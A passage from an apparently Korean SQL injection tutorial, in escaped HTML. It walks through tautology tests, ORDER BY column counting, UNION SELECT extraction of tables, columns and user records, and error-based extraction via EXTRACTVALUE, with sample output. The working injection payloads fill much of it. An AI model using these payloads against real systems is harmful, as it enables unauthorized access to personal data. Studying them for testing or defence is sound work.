&apos;1&apos;=&apos;1&lt;/code&gt; 과 같이 값을 붙여 전송해본다.&lt;/li&gt; &lt;/ul&gt; &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;testuser&apos; AND &apos;1&apos;=&apos;1&lt;/code&gt; 이라는 ID는 없지만, 이것이 SQL 쿼리로 동작할 경우, 항등원이기 때문에 참이된다. &lt;ul&gt; &lt;li&gt;이것을 이용하여, &lt;strong&gt;이 쿼리를 통해 로그인에 성공&lt;/strong&gt;하면, SQL Injection이 가능하다는 것을 알 수 있다. - 이 항등원에 대한 쿼리는 웹 서버의 쿼리에 따라서 다양하게 변형될 수 있다.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;예: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;testuser&apos; OR &apos;1&apos;=&apos;1&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;testuser&apos; AND 1=1-- &lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;testuser&apos; OR 1=1-- &lt;/code&gt; 등&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LIKE&lt;/code&gt; 구문이 사용될 경우, 아래와 같은 쿼리가 있다고 가정해 보자.&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SELECT * FROM table WHERE column LIKE &apos;%입력값%&apos;&lt;/code&gt;&lt;/li&gt; &lt;li&gt;이 경우 항등원은 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;search_data%&apos; AND &apos;%&apos;=&apos;&lt;/code&gt; 로 시도해볼 수 있다. &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SELECT * FROM table WHERE column LIKE &apos;%search_data%&apos; AND &apos;%&apos;=&apos;%&apos;&lt;/code&gt;&lt;/li&gt; &lt;li&gt;이 결과값이 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;search_data&lt;/code&gt; 만 입력했을 때 나온 결과와 동일하다면, SQL Injection이 가능하다는 것을 알 수 있다.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ol&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;input value: 010-1111-2222&apos; AND &apos;1&apos;=&apos;1 expected: 이 값이, &apos;010-1111-2222&apos; 만 입력했을 때와 동일한 결과를 반환한다면, SQL Injection이 가능하다. 실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = &apos;010-1111-2222&apos; AND &apos;1&apos;=&apos;1&apos; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;ol&gt; &lt;li&gt;항등원 공격을 통해 SQL Injection이 가능하다는 것을 확인했으면, 이제는 쿼리의 구조를 파악해야 하고, 출력되는 칼럼이 어떤 칼럼인지 파악해야 한다. &lt;ul&gt; &lt;li&gt;공격 방법에는 UNION SQL Injection, ERROR Based SQL Injection, Blind SQL Injection 등이 있다.&lt;/li&gt; &lt;li&gt;UNION, ERROR, BLIND 등의 공격 방법은 기본적으로 UNION 쿼리를 사용한다는 공통점이 있다.&lt;/li&gt; &lt;li&gt;UNION 쿼리는 두 개 이상의 SELECT 쿼리의 결과를 합쳐서 하나의 결과로 반환하는 기능이다.&lt;/li&gt; &lt;li&gt;공격자는 UNION 쿼리에 자신이 원하는 쿼리를 삽입하여, DB에서 민감한 정보를 추출할 수 있다.&lt;/li&gt; &lt;li&gt;그러나, UNION 쿼리를 사용하기 위해서는 몇 가지 조건이 필요하다.&lt;/li&gt; &lt;/ul&gt; &lt;ul&gt; &lt;li&gt;첫째, UNION으로 합쳐지는 SELECT 쿼리들은 동일한 수의 칼럼을 반환해야 한다.&lt;/li&gt; &lt;li&gt;둘째, 각 칼럼의 데이터 타입이 호환되어야 한다. - 따라서, 공격자는 먼저 대상 쿼리가 몇 개의 칼럼을 반환하는지 알아내야 한다.&lt;/li&gt; &lt;li&gt;이를 위해서는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ORDER BY&lt;/code&gt; 절을 이용할 수 있다.&lt;/li&gt; &lt;li&gt;예를 들어, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;testuser&apos; ORDER BY 1-- &lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;testuser&apos; ORDER BY 2-- &lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;testuser&apos; ORDER BY 3-- &lt;/code&gt; 와 같이 시도해본다.&lt;/li&gt; &lt;li&gt;만약 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ORDER BY 3-- &lt;/code&gt; 에서 오류가 발생한다면, 대상 쿼리는 2개의 칼럼을 반환한다는 것을 알 수 있다. - 칼럼 수를 알아냈다면, 이제는 각 칼럼의 데이터 타입을 알아내야 한다.&lt;/li&gt; &lt;li&gt;이를 위해서는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UNION SELECT&lt;/code&gt; 구문을 이용할 수 있다.&lt;/li&gt; &lt;li&gt;예를 들어, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;testuser&apos; UNION SELECT 1, &apos;a&apos;-- &lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;testuser&apos; UNION SELECT &apos;a&apos;, 1-- &lt;/code&gt; 와 같이 시도해본다.&lt;/li&gt; &lt;li&gt;만약 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UNION SELECT 1, &apos;a&apos;-- &lt;/code&gt; 에서 오류가 발생한다면, 첫 번째 칼럼은 문자열 타입이라는 것을 알 수 있다.&lt;/li&gt; &lt;li&gt;이 과정을 반복하여 각 칼럼의 데이터 타입을 알아낼 수 있다.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ol&gt; &lt;ul&gt; &lt;li&gt;칼럼 수 및 타입을 알아냈다고 해서, 끝난 것이 아니다.&lt;/li&gt; &lt;li&gt;왜냐하면, 조회하는 칼럼 수와, 실제 보여지는 칼럼이 다를 수 있기 때문이다.&lt;/li&gt; &lt;li&gt;예를 들어, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SELECT user_number, name, email FROM user WHERE phone = &apos;입력값&apos;&lt;/code&gt; 라는 쿼리가 있으나, 웹에서 데이터를 뿌려줄 때에는 실제로는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;name&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;email&lt;/code&gt; 칼럼만 화면에 출력될 수도 있다. &lt;ul&gt; &lt;li&gt;이 경우, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;user_number&lt;/code&gt; 칼럼 위치에 UNION 쿼리를 삽입해 데이터를 조회할 경우, 화면에 출력되지 않으므로, 공격자는 원하는 데이터를 볼 수 없다.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;이하 예제에서는 두 번째, 세 번째 칼럼만 화면에 출력된다고 가정한다.&lt;/li&gt; &lt;li&gt;두 번째 칼럼 -&amp;gt; 테이블의 첫 번째 열에 출력&lt;/li&gt; &lt;li&gt;세 번째 칼럼 -&amp;gt; 테이블의 두 번째 열에 출력&lt;/li&gt; &lt;/ul&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;input value: 010-1111-2222&apos; ORDER BY 1 -- expected: 정상적으로 쿼리가 수행된다면, 1개의 칼럼 이상이 존재한다는 것을 알 수 있다. input value: 010-1111-2222&apos; ORDER BY 2 -- expected: 정상적으로 쿼리가 수행된다면, 2개의 칼럼 이상이 존재한다는 것을 알 수 있다. input value: 010-1111-2222&apos; ORDER BY 3 -- expected: 정상적으로 쿼리가 수행된다면, 3개의 칼럼 이상이 존재한다는 것을 알 수 있다. input value: 010-1111-2222&apos; ORDER BY 4 -- expected: 정상적으로 쿼리가 수행된다면, 4개의 칼럼 이상이 존재한다는 것을 알 수 있다. ... 실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = &apos;010-1111-2222&apos; ORDER BY 1 --&apos; 실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = &apos;010-1111-2222&apos; ORDER BY 2 --&apos; 실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = &apos;010-1111-2222&apos; ORDER BY 3 --&apos; 실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = &apos;010-1111-2222&apos; ORDER BY 4 --&apos; -&amp;gt; ERROR! 또는 결과 없음. -&amp;gt; 조회하는 칼럼 수는 3개라는 것을 알 수 있다. &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;ol&gt; &lt;li&gt;칼럼 수와 데이터 타입을 알아냈다면, 이제는 DB 및 테이블의 구조를 확인해야 한다. &lt;ul&gt; &lt;li&gt;MySQL의 경우, DB명을 확인하기 위해서는 다음과 같은 쿼리를 사용할 수 있다.&lt;/li&gt; &lt;/ul&gt; &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;select database()&lt;/code&gt; - MySQL의 경우 테이블 목록을 확인하기 위해서는 다음과 같은 쿼리를 사용할 수 있다.&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;select table_name from information_schema.tables where table_schema = &apos;&amp;lt;db_name&amp;gt;&apos;&lt;/code&gt;&lt;/li&gt; &lt;li&gt;서브쿼리를 사용해 위 DB명을 확인하는 코드를 가지고, 하나의 쿼리로 DB에 대한 테이블 목록을 확인할 수도 있다. &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;select table_name from information_schema.tables where table_schema = (select database())&lt;/code&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ol&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;input: 010-1111-2222&apos; UNION SELECT &apos;hack complete!&apos;, table_name, &apos;hack complete!&apos; FROM information_schema.tables WHERE table_schema = (select database()) -- expected: 테이블의 첫 번째 열에, 두 번째 칼럼에 해당하는 현재 DB의 테이블 목록이 출력된다. 실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = &apos;010-1111-2222&apos; UNION SELECT &apos;hack complete!&apos;, table_name, &apos;hack complete!&apos; FROM information_schema.tables WHERE table_schema = (select database()) -- &apos; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;table&gt; &lt;thead&gt; &lt;tr&gt; &lt;th&gt;이름&lt;/th&gt; &lt;th&gt;이메일&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td&gt;jackson&lt;/td&gt; &lt;td&gt;jackson@test.com&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;user&lt;/td&gt; &lt;td&gt;hack complete!&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;logindata&lt;/td&gt; &lt;td&gt;hack complete!&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;… 기타 테이블 …&lt;/td&gt; &lt;td&gt;hack complete!&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt; &lt;/table&gt; &lt;ol&gt; &lt;li&gt;정보를 획득하고자 하는 테이블을 정했다면, 이제는 해당 테이블의 칼럼 목록을 확인해야 한다. &lt;ul&gt; &lt;li&gt;MySQL의 경우 테이블의 칼럼 목록을 확인하기 위해서는 다음과 같은 쿼리를 사용할 수 있다.&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;select column_name from information_schema.columns where table_name = &apos;&amp;lt;table_name&amp;gt;&apos;&lt;/code&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ol&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;input: 010-1111-2222&apos; UNION SELECT &apos;hack complete!&apos;, column_name, &apos;hack complete!&apos; FROM information_schema.columns WHERE table_name = &apos;user&apos; -- expected: 테이블의 첫 번째 열에 두 번째 칼럼에 해당하는 user 테이블의 칼럼 목록이 출력된다. 실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = &apos;010-1111-2222&apos; UNION SELECT &apos;hack complete!&apos;, column_name, &apos;hack complete!&apos; FROM information_schema.columns WHERE table_name = &apos;user&apos; -- &apos; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;table&gt; &lt;thead&gt; &lt;tr&gt; &lt;th&gt;이름&lt;/th&gt; &lt;th&gt;이메일&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td&gt;jackson&lt;/td&gt; &lt;td&gt;jackson@test.com&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;user_number&lt;/td&gt; &lt;td&gt;hack complete!&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;name&lt;/td&gt; &lt;td&gt;hack complete!&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;age&lt;/td&gt; &lt;td&gt;hack complete!&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;address&lt;/td&gt; &lt;td&gt;hack complete!&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;phone&lt;/td&gt; &lt;td&gt;hack complete!&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;email&lt;/td&gt; &lt;td&gt;hack complete!&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt; &lt;/table&gt; &lt;ol&gt; &lt;li&gt;칼럼까지 모두 확인했다면, 이제 공격자는 원하는 데이터를 추출할 수 있다.&lt;/li&gt; &lt;/ol&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;input: 010-1111-2222&apos; UNION SELECT &apos;hack complete!&apos;, CONCAT(name, &apos; : &apos;, email, &apos; : &apos;, phone), address FROM user -- expected: 테이블의 첫 번째 열에 두 번째 칼럼에 해당하는 user 테이블의 name, email, phone 칼럼의 데이터가, 테이블의 두 번째 열에 세 번째 칼럼에 address 칼럼의 데이터가 출력된다. 두 번째 열에 CONCAT 함수를 사용하여 여러 칼럼의 데이터를 하나의 문자열로 합쳐 출력할 수 있다. &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;table&gt; &lt;thead&gt; &lt;tr&gt; &lt;th&gt;이름&lt;/th&gt; &lt;th&gt;이메일&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td&gt;jackson&lt;/td&gt; &lt;td&gt;jackson@test.com&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;hong gil dong : gildong@test.com : 010-1234-5678&lt;/td&gt; &lt;td&gt;123 Seoul St.&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;lee sun shin : sshLee@googletest.com : 010-9876-5432&lt;/td&gt; &lt;td&gt;456 Busan Ave.&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;jackson : jackson@test.com : 010-5555-6666&lt;/td&gt; &lt;td&gt;789 Incheon Rd.&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;… 기타 데이터 …&lt;/td&gt; &lt;td&gt;… 기타 데이터 …&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt; &lt;/table&gt; &lt;h3 id=&quot;error-based-sql-injection&quot;&gt;Error Based SQL Injection&lt;/h3&gt; &lt;p&gt;간혹, MySQL의 에러 메시지 또는 에러 페이지가 화면에 출력되는 경우가 있다. &lt;br /&gt; 공격자는 이것을 놓치지 않고, 당연히 공격에 사용할 수 있어야 한다.&lt;/p&gt; &lt;p&gt;예를 들어, MySQL의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EXTRACTVALUE()&lt;/code&gt; 라는 함수를 사용해, 강제로 에러를 유발시켜 &lt;br /&gt; 에러 메시지에 쿼리 데이터를 포함시키게 만드는 방법을 사용할 수 있다.&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EXTRACTVALUE(xml_doc, xpath_expr)&lt;/code&gt;는 MySQL의 XML 함수인데, 잘못된 XPath 표현식을 넣으면 에러 메시지에 쿼리 결과가 노출된다. &lt;br /&gt; XPath 표현식에 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x7e&lt;/code&gt; (물결표 기호 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~&lt;/code&gt;) 같은 유효하지 않은 문자를 만들어 강제로 에러를 유발시킨다.&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&apos; AND EXTRACTVALUE(1, CONCAT(0x7e, version())) -- XPATH syntax error: &apos;~5.7.34&apos; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;공격 과정은 UNION SQL Injection과 유사하지만, 몇 가지 차이점이 있다.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;UNION SQL Injection과의 차이점:&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;UNION SQL Injection은 쿼리 결과가 &lt;strong&gt;화면에 직접 출력&lt;/strong&gt;되어야 하지만, Error Based SQL Injection은 &lt;strong&gt;에러 메시지만 출력&lt;/strong&gt;되면 공격이 가능하다.&lt;/li&gt; &lt;li&gt;UNION SQL Injection은 &lt;strong&gt;칼럼 수를 맞춰야&lt;/strong&gt; 하지만, Error Based SQL Injection은 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AND&lt;/code&gt; 조건절에서 바로 사용할 수 있어 칼럼 수를 맞출 필요가 없다.&lt;/li&gt; &lt;li&gt;대신, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EXTRACTVALUE()&lt;/code&gt;의 에러 메시지는 &lt;strong&gt;최대 32자&lt;/strong&gt;까지만 출력되므로, 긴 데이터는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SUBSTRING()&lt;/code&gt;으로 잘라서 확인해야 한다.&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;동일하게 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;select user_number, name, email from user where phone = &apos;입력값&apos;&lt;/code&gt; 쿼리를 해킹한다고 가정해 보자. 그러나 우리는 쿼리를 모른다.&lt;/p&gt; &lt;ol&gt; &lt;li&gt; &lt;p&gt;SQL Injection 가능 여부 확인은 UNION SQL Injection과 동일하게 항등원으로 확인한다. (위 UNION SQL Injection 항목 참고)&lt;/p&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;항등원 확인이 되었다면, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EXTRACTVALUE()&lt;/code&gt;를 사용해 DB 버전 및 DB명을 확인한다.&lt;/p&gt; &lt;/li&gt; &lt;/ol&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;input: 010-1111-2222&apos; AND EXTRACTVALUE(1, CONCAT(0x7e, version())) -- expected: 에러 메시지에 DB 버전이 출력된다. 에러: XPATH syntax error: &apos;~5.7.34&apos; 실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = &apos;010-1111-2222&apos; AND EXTRACTVALUE(1, CONCAT(0x7e, version())) --&apos; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;input: 010-1111-2222&apos; AND EXTRACTVALUE(1, CONCAT(0x7e, database())) -- expected: 에러 메시지에 현재 DB명이 출력된다. 에러: XPATH syntax error: &apos;~testdb&apos; 실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = &apos;010-1111-2222&apos; AND EXTRACTVALUE(1, CONCAT(0x7e, database())) --&apos; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;ol&gt; &lt;li&gt;테이블 목록을 추출한다. &lt;ul&gt; &lt;li&gt;서브쿼리는 하나의 값만 반환해야 하므로, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GROUP_CONCAT()&lt;/code&gt;을 사용하여 여러 행을 하나의 문자열로 합쳐 추출하거나, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LIMIT&lt;/code&gt;을 사용하여 한 행씩 추출한다.&lt;/li&gt; &lt;li&gt;단, 32자 제한이 있으므로 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GROUP_CONCAT()&lt;/code&gt; 결과가 32자를 초과하면 잘린다.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ol&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;input: 010-1111-2222&apos; AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(table_name SEPARATOR &apos;,&apos;) FROM (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 5 OFFSET 0) AS t))) -- expected: 에러 메시지에 현재 DB의 테이블 목록이 출력된다. 에러: XPATH syntax error: &apos;~user,logindata&apos; 실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = &apos;010-1111-2222&apos; AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(table_name SEPARATOR &apos;,&apos;) FROM (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 5 OFFSET 0) AS t))) --&apos; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;테이블이 많아 32자를 초과할 경우, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LIMIT&lt;/code&gt;을 사용하여 한 행씩 추출한다.&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;input: 010-1111-2222&apos; AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))) -- 에러: XPATH syntax error: &apos;~user&apos; 실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = &apos;010-1111-2222&apos; AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))) --&apos; input: 010-1111-2222&apos; AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1))) -- 에러: XPATH syntax error: &apos;~logindata&apos; 실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = &apos;010-1111-2222&apos; AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1))) --&apos; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;ol&gt; &lt;li&gt;정보를 획득하고자 하는 테이블의 칼럼 목록을 추출한다.&lt;/li&gt; &lt;/ol&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;input: 010-1111-2222&apos; AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name=&apos;user&apos;))) -- expected: 에러 메시지에 user 테이블의 칼럼 목록이 출력된다. 에러: XPATH syntax error: &apos;~user_number,name,age,address,ph&apos; 실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = &apos;010-1111-2222&apos; AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name=&apos;user&apos;))) --&apos; 